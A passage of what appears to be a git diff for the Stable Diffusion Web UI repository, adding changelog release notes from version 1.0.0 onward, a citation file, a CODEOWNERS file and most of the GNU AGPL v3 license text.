of incompatible Stable Diffusion version in Lora extra networks interface + * skip installing packages with pip if they all are already installed - startup speedup of about 2 seconds + +### Minor: + * checkbox to check/uncheck all extensions in the Installed tab + * add gradio user to infotext and to filename patterns + * allow gif for extra network previews + * add options to change colors in grid + * use natural sort for items in extra networks + * Mac: use empty_cache() from torch 2 to clear VRAM + * added automatic support for installing the right libraries for Navi3 (AMD) + * add option SWIN_torch_compile to accelerate SwinIR upscale + * suppress printing TI embedding info at start to console by default + * speedup extra networks listing + * added `[none]` filename token. + * removed thumbs extra networks view mode (use settings tab to change width/height/scale to get thumbs) + * add always_discard_next_to_last_sigma option to XYZ plot + * automatically switch to 32-bit float VAE if the generated picture has NaNs without the need for `--no-half-vae` commandline flag. + +### Extensions and API: + * api endpoints: /sdapi/v1/server-kill, /sdapi/v1/server-restart, /sdapi/v1/server-stop + * allow Script to have custom metaclass + * add model exists status check /sdapi/v1/options + * rename --add-stop-route to --api-server-stop + * add `before_hr` script callback + * add callback `after_extra_networks_activate` + * disable rich exception output in console for API by default, use WEBUI_RICH_EXCEPTIONS env var to enable + * return http 404 when thumb file not found + * allow replacing extensions index with environment variable + +### Bug Fixes: + * fix for catch errors when retrieving extension index #11290 + * fix very slow loading speed of .safetensors files when reading from network drives + * API cache cleanup + * fix UnicodeEncodeError when writing to file CLIP Interrogator batch mode + * fix warning of 'has_mps' deprecated from PyTorch + * fix problem with extra network saving images as previews losing generation info + * fix throwing exception when trying to resize image with I;16 mode + * fix for #11534: canvas zoom and pan extension hijacking shortcut keys + * fixed launch script to be runnable from any directory + * don't add "Seed Resize: -1x-1" to API image metadata + * correctly remove end parenthesis with ctrl+up/down + * fixing --subpath on newer gradio version + * fix: check fill size none zero when resize (fixes #11425) + * use submit and blur for quick settings textbox + * save img2img batch with images.save_image() + * prevent running preload.py for disabled extensions + * fix: previously, model name was added together with directory name to infotext and to [model_name] filename pattern; directory name is now not included + + +## 1.4.1 + +### Bug Fixes: + * add queue lock for refresh-checkpoints + +## 1.4.0 + +### Features: + * zoom controls for inpainting + * run basic torch calculation at startup in parallel to reduce the performance impact of first generation + * option to pad prompt/neg prompt to be same length + * remove taming_transformers dependency + * custom k-diffusion scheduler settings + * add an option to show selected settings in main txt2img/img2img UI + * sysinfo tab in settings + * infer styles from prompts when pasting params into the UI + * an option to control the behavior of the above + +### Minor: + * bump Gradio to 3.32.0 + * bump xformers to 0.0.20 + * Add option to disable token counters + * tooltip fixes & optimizations + * make it possible to configure filename for the zip download + * `[vae_filename]` pattern for filenames + * Revert discarding penultimate sigma for DPM-Solver++(2M) SDE + * change UI reorder setting to multiselect + * read version info form CHANGELOG.md if git version info is not available + * link footer API to Wiki when API is not active + * persistent conds cache (opt-in optimization) + +### Extensions: + * After installing extensions, webui properly restarts the process rather than reloads the UI + * Added VAE listing to web API. Via: /sdapi/v1/sd-vae + * custom unet support + * Add onAfterUiUpdate callback + * refactor EmbeddingDatabase.register_embedding() to allow unregistering + * add before_process callback for scripts + * add ability for alwayson scripts to specify section and let user reorder those sections + +### Bug Fixes: + * Fix dragging text to prompt + * fix incorrect quoting for infotext values with colon in them + * fix "hires. fix" prompt sharing same labels with txt2img_prompt + * Fix s_min_uncond default type int + * Fix for #10643 (Inpainting mask sometimes not working) + * fix bad styling for thumbs view in extra networks #10639 + * fix for empty list of optimizations #10605 + * small fixes to prepare_tcmalloc for Debian/Ubuntu compatibility + * fix --ui-debug-mode exit + * patch GitPython to not use leaky persistent processes + * fix duplicate Cross attention optimization after UI reload + * torch.cuda.is_available() check for SdOptimizationXformers + * fix hires fix using wrong conds in second pass if using Loras. + * handle exception when parsing generation parameters from png info + * fix upcast attention dtype error + * forcing Torch Version to 1.13.1 for RX 5000 series GPUs + * split mask blur into X and Y components, patch Outpainting MK2 accordingly + * don't die when a LoRA is a broken symlink + * allow activation of Generate Forever during generation + + +## 1.3.2 + +### Bug Fixes: + * fix files served out of tmp directory even if they are saved to disk + * fix postprocessing overwriting parameters + +## 1.3.1 + +### Features: + * revert default cross attention optimization to Doggettx + +### Bug Fixes: + * fix bug: LoRA don't apply on dropdown list sd_lora + * fix png info always added even if setting is not enabled + * fix some fields not applying in xyz plot + * fix "hires. fix" prompt sharing same labels with txt2img_prompt + * fix lora hashes not being added properly to infotex if there is only one lora + * fix --use-cpu failing to work properly at startup + * make --disable-opt-split-attention command line option work again + +## 1.3.0 + +### Features: + * add UI to edit defaults + * token merging (via dbolya/tomesd) + * settings tab rework: add a lot of additional explanations and links + * load extensions' Git metadata in parallel to loading the main program to save a ton of time during startup + * update extensions table: show branch, show date in separate column, and show version from tags if available + * TAESD - another option for cheap live previews + * allow choosing sampler and prompts for second pass of hires fix - hidden by default, enabled in settings + * calculate hashes for Lora + * add lora hashes to infotext + * when pasting infotext, use infotext's lora hashes to find local loras for `` entries whose hashes match loras the user has + * select cross attention optimization from UI + +### Minor: + * bump Gradio to 3.31.0 + * bump PyTorch to 2.0.1 for macOS and Linux AMD + * allow setting defaults for elements in extensions' tabs + * allow selecting file type for live previews + * show "Loading..." for extra networks when displaying for the first time + * suppress ENSD infotext for samplers that don't use it + * clientside optimizations + * add options to show/hide hidden files and dirs in extra networks, and to not list models/files in hidden directories + * allow whitespace in styles.csv + * add option to reorder tabs + * move some functionality (swap resolution and set seed to -1) to client + * option to specify editor height for img2img + * button to copy image resolution into img2img width/height sliders + * switch from pyngrok to ngrok-py + * lazy-load images in extra networks UI + * set "Navigate image viewer with gamepad" option to false by default, by request + * change upscalers to download models into user-specified directory (from commandline args) rather than the default models/<...> + * allow hiding buttons in ui-config.json + +### Extensions: + * add /sdapi/v1/script-info api + * use Ruff to lint Python code + * use ESlint to lint Javascript code + * add/modify CFG callbacks for Self-Attention Guidance extension + * add command and endpoint for graceful server stopping + * add some locals (prompts/seeds/etc) from processing function into the Processing class as fields + * rework quoting for infotext items that have commas in them to use JSON (should be backwards compatible except for cases where it didn't work previously) + * add /sdapi/v1/refresh-loras api checkpoint post request + * tests overhaul + +### Bug Fixes: + * fix an issue preventing the program from starting if the user specifies a bad Gradio theme + * fix broken prompts from file script + * fix symlink scanning for extra networks + * fix --data-dir ignored when launching via webui-user.bat COMMANDLINE_ARGS + * allow web UI to be ran fully offline + * fix inability to run with --freeze-settings + * fix inability to merge checkpoint without adding metadata + * fix extra networks' save preview image not adding infotext for jpeg/webm + * remove blinking effect from text in hires fix and scale resolution preview + * make links to `http://<...>.git` extensions work in the extension tab + * fix bug with webui hanging at startup due to hanging git process + + +## 1.2.1 + +### Features: + * add an option to always refer to LoRA by filenames + +### Bug Fixes: + * never refer to LoRA by an alias if multiple LoRAs have same alias or the alias is called none + * fix upscalers disappearing after the user reloads UI + * allow bf16 in safe unpickler (resolves problems with loading some LoRAs) + * allow web UI to be ran fully offline + * fix localizations not working + * fix error for LoRAs: `'LatentDiffusion' object has no attribute 'lora_layer_mapping'` + +## 1.2.0 + +### Features: + * do not wait for Stable Diffusion model to load at startup + * add filename patterns: `[denoising]` + * directory hiding for extra networks: dirs starting with `.` will hide their cards on extra network tabs unless specifically searched for + * LoRA: for the `<...>` text in prompt, use name of LoRA that is in the metdata of the file, if present, instead of filename (both can be used to activate LoRA) + * LoRA: read infotext params from kohya-ss's extension parameters if they are present and if his extension is not active + * LoRA: fix some LoRAs not working (ones that have 3x3 convolution layer) + * LoRA: add an option to use old method of applying LoRAs (producing same results as with kohya-ss) + * add version to infotext, footer and console output when starting + * add links to wiki for filename pattern settings + * add extended info for quicksettings setting and use multiselect input instead of a text field + +### Minor: + * bump Gradio to 3.29.0 + * bump PyTorch to 2.0.1 + * `--subpath` option for gradio for use with reverse proxy + * Linux/macOS: use existing virtualenv if already active (the VIRTUAL_ENV environment variable) + * do not apply localizations if there are none (possible frontend optimization) + * add extra `None` option for VAE in XYZ plot + * print error to console when batch processing in img2img fails + * create HTML for extra network pages only on demand + * allow directories starting with `.` to still list their models for LoRA, checkpoints, etc + * put infotext options into their own category in settings tab + * do not show licenses page when user selects Show all pages in settings + +### Extensions: + * tooltip localization support + * add API method to get LoRA models with prompt + +### Bug Fixes: + * re-add `/docs` endpoint + * fix gamepad navigation + * make the lightbox fullscreen image function properly + * fix squished thumbnails in extras tab + * keep "search" filter for extra networks when user refreshes the tab (previously it showed everthing after you refreshed) + * fix webui showing the same image if you configure the generation to always save results into same file + * fix bug with upscalers not working properly + * fix MPS on PyTorch 2.0.1, Intel Macs + * make it so that custom context menu from contextMenu.js only disappears after user's click, ignoring non-user click events + * prevent Reload UI button/link from reloading the page when it's not yet ready + * fix prompts from file script failing to read contents from a drag/drop file + + +## 1.1.1 +### Bug Fixes: + * fix an error that prevents running webui on PyTorch<2.0 without --disable-safe-unpickle + +## 1.1.0 +### Features: + * switch to PyTorch 2.0.0 (except for AMD GPUs) + * visual improvements to custom code scripts + * add filename patterns: `[clip_skip]`, `[hasprompt<>]`, `[batch_number]`, `[generation_number]` + * add support for saving init images in img2img, and record their hashes in infotext for reproducability + * automatically select current word when adjusting weight with ctrl+up/down + * add dropdowns for X/Y/Z plot + * add setting: Stable Diffusion/Random number generator source: makes it possible to make images generated from a given manual seed consistent across different GPUs + * support Gradio's theme API + * use TCMalloc on Linux by default; possible fix for memory leaks + * add optimization option to remove negative conditioning at low sigma values #9177 + * embed model merge metadata in .safetensors file + * extension settings backup/restore feature #9169 + * add "resize by" and "resize to" tabs to img2img + * add option "keep original size" to textual inversion images preprocess + * image viewer scrolling via analog stick + * button to restore the progress from session lost / tab reload + +### Minor: + * bump Gradio to 3.28.1 + * change "scale to" to sliders in Extras tab + * add labels to tool buttons to make it possible to hide them + * add tiled inference support for ScuNET + * add branch support for extension installation + * change Linux installation script to install into current directory rather than `/home/username` + * sort textual inversion embeddings by name (case-insensitive) + * allow styles.csv to be symlinked or mounted in docker + * remove the "do not add watermark to images" option + * make selected tab configurable with UI config + * make the extra networks UI fixed height and scrollable + * add `disable_tls_verify` arg for use with self-signed certs + +### Extensions: + * add reload callback + * add `is_hr_pass` field for processing + +### Bug Fixes: + * fix broken batch image processing on 'Extras/Batch Process' tab + * add "None" option to extra networks dropdowns + * fix FileExistsError for CLIP Interrogator + * fix /sdapi/v1/txt2img endpoint not working on Linux #9319 + * fix disappearing live previews and progressbar during slow tasks + * fix fullscreen image view not working properly in some cases + * prevent alwayson_scripts args param resizing script_arg list when they are inserted in it + * fix prompt schedule for second order samplers + * fix image mask/composite for weird resolutions #9628 + * use correct images for previews when using AND (see #9491) + * one broken image in img2img batch won't stop all processing + * fix image orientation bug in train/preprocess + * fix Ngrok recreating tunnels every reload + * fix `--realesrgan-models-path` and `--ldsr-models-path` not working + * fix `--skip-install` not working + * use SAMPLE file format in Outpainting Mk2 & Poorman + * do not fail all LoRAs if some have failed to load when making a picture + +## 1.0.0 + * everything diff --git a/CITATION.cff b/CITATION.cff new file mode 100644 index 0000000000000000000000000000000000000000..2c781aff450c8604eb3cf876d2c3585a96a5a590 --- /dev/null +++ b/CITATION.cff @@ -0,0 +1,7 @@ +cff-version: 1.2.0 +message: "If you use this software, please cite it as below." +authors: + - given-names: AUTOMATIC1111 +title: "Stable Diffusion Web UI" +date-released: 2022-08-22 +url: "https://github.com/AUTOMATIC1111/stable-diffusion-webui" diff --git a/CODEOWNERS b/CODEOWNERS new file mode 100644 index 0000000000000000000000000000000000000000..2c937f6f1e519f864d15d5233e1fb86c6cdfac2f --- /dev/null +++ b/CODEOWNERS @@ -0,0 +1,12 @@ +* @AUTOMATIC1111 + +# if you were managing a localization and were removed from this file, this is because +# the intended way to do localizations now is via extensions. See: +# https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Developing-extensions +# Make a repo with your localization and since you are still listed as a collaborator +# you can add it to the wiki page yourself. This change is because some people complained +# the git commit log is cluttered with things unrelated to almost everyone and +# because I believe this is the best overall for the project to handle localizations almost +# entirely without my oversight. + + diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000000000000000000000000000000000000..211d32e752cb61bd056436e8f7a806f12a626bb7 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,663 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (c) 2023 AUTOMATIC1111 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + 